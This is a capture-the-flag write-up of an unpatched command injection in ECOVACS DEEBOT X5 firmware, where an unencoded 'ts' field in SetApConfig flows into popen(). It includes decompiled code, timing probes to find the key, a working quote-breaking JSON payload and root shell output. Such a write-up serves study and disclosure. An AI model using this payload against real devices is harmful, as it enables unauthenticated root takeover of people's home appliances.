Omniscient

`SetApConfig` base64-wraps every input except the `ts` field added in the X5 → command injection into `popen()`

2026.09.30 NNS CTF 2026 boot2root
FLAG NNS{7h3_0mNi5c1ent_x5_sti1l_trus7s_3very_times7amp}
NNS{7h3_0mNi5c1ent_x5_sti1l_trus7s_3very_times7amp}}

(The flag file is 53 bytes — the trailing }} really is the file’s content. Confirmed with od -c.)

Target: ECOVACS DEEBOT X5 PRO OMNI, firmware v1.74.0 (2024-12-16, zj2357_rk3326s), model id 4jd37g. The live instance runs nginx in front of a GoAhead web server. 0day challenge — do not publish before the vendor patches it.

In one line

The SetApConfig handler was hardened to wrap every user input in base64, but the ts field newly added on the X5 was missed. Its value goes straight into a popen() command line, giving unauthenticated root RCE.

Background: how this differs from Clean Sweep

Clean Sweep, in the same CTF, was a td=SetFct command injection in T9 AIVI v1.4.9. Omniscient has the same architecture (GoAhead + the /etc/www/reqDo CGI) but that bug is closed:

  • SetFctdid / password / type / lb are all wrapped in CFBase64Encode(), and sc is read with CFJsonObjectGetInt() and formatted with %d. Fully closed.
  • CFBase64Encode itself checks the destination size (256) properly and returns -1 on overflow, so there is no stack overflow either.
  • After decoding, cjson escapes the JSON, so JSON injection is out as well.

That makes it easy to conclude “the Clean Sweep payload doesn’t work, so this is a dead end.” (The previous session’s notes did exactly that, and even listed TS among the base64-wrapped fields. Re-reading the decompilation showed that was a misreading.)

The actual bug

SetApConfig decompiled:

local_28 = CFJsonObjectGetString(param_1, "s");     // SSID
local_30 = CFJsonObjectGetString(param_1, "p");     // PASSPHRASE
local_58 = CFJsonObjectGetString(param_1, <domain>);
local_38 = CFJsonObjectGetString(param_1, "sc");
local_40 = CFJsonObjectGetString(param_1, "sck2");
local_48 = CFJsonObjectGetString(param_1, "lb");
local_50 = CFJsonObjectGetString(param_1, "ts");    // <<<< TS

if (local_28) CFBase64Encode(&local_768, 0x100, ..., local_28, strlen(local_28));
if (local_30) CFBase64Encode(&local_868, 0x100, ..., local_30, strlen(local_30));
if (local_38) CFBase64Encode(&local_c68, 0x100, ..., local_38, strlen(local_38));
if (local_40) CFBase64Encode(&local_d68, 0x100, ..., local_40, strlen(local_40));
if (local_48) CFBase64Encode(&local_e68, 0x100, ..., local_48, strlen(local_48));
/* there is no encode call for local_50 */

puVar3 = local_50 ? local_50 : "";
snprintf(local_268, 0x200,
  "td=\"SetApConfig\" SSID=\"%s\" PASSPHRASE=\"%s\" sc=\"%s\" sck2=\"%s\" "
  "lb=\"%s\" TS=\"%s\" %s",
  puVar4, puVar5, puVar6, puVar7, puVar8, puVar3, bumbee_hook);

cmd_system(local_268, &local_668, 0x400);   // -> popen(cmd, "r")

There are exactly five base64 calls (plus three more in the ECO_ROOT/VENDOR/AREA branches), and local_50 is not encoded on either path.

Cross-check: the format string in the T9 (Clean Sweep) binary is

td="SetApConfig" SSID="%s" PASSPHRASE="%s" sc="%s" sck2="%s" lb="%s" %s

There is no TS= at all. So the X5 added a field and forgot to encode it.

Finding the JSON key

The firmware extraction had been lost, so the actual string at DAT_00403418 could not be read. Instead, the T9 binary showed the keys are very short (s / p / sc / sck2 / lb, 8-byte aligned slots), so 20 candidates were put in a single request and binary-searched by timing. Wrong keys are simply ignored, which makes it safe to test several at once.

baseline = 0.63s
all candidates at once: 6.69s      <- $(sleep 6) fired
  ['ts','TS','t','T','tsp',...]  -> 6.60s
  ['ts','TS','t','T','tsp']      -> 6.59s
  ['ts','TS']                    -> 6.60s
  ['ts']                         -> 6.64s
### key = 'ts'

Six requests to pin it down. No need to re-download the firmware.

Exploit

The final command is a shell variable assignment followed by a script call:

td="SetApConfig" SSID="" ... lb="" TS="<our value>" /etc/wifi/bumbee_hook.sh

Close the double quote, append a command, and kill the rest with #:

{"td": "SetApConfig", "ts": "\"; id; cat /root/flag.txt; #"}

$(...) and backticks are evaluated inside double quotes too, so the quote does not strictly have to be broken — but then the output is captured into the TS variable and never reaches the response. Closing the quote so stdout goes to the popen pipe is the better option.

This one is not blind

cmd_system reads popen’s stdout into a buffer and SetApConfig prints it into the response body with printf("%s", buf). Clean Sweep always returned an empty response and needed sleep-based blind extraction; here the output is read directly.

$ python3 solve.py https://omniscient-<id>.chall.nnsc.tf
uid=0(root) gid=0(root) groups=0(root)
NNS{7h3_0mNi5c1ent_x5_sti1l_trus7s_3very_times7amp}}

Arbitrary command execution:

$ python3 solve.py https://omniscient-<id>.chall.nnsc.tf 'uname -a'
Linux app-798f8ddcd6-xvf5k 6.18.49 #1 SMP ... x86_64 GNU/Linux

Files

Takeaway

A patch that “encodes every input” breaks the moment a field is added later. The decisive move was not stopping at “the Clean Sweep payload doesn’t work”, but diffing the format strings of the two firmwares directly to find the field that is new.

#iot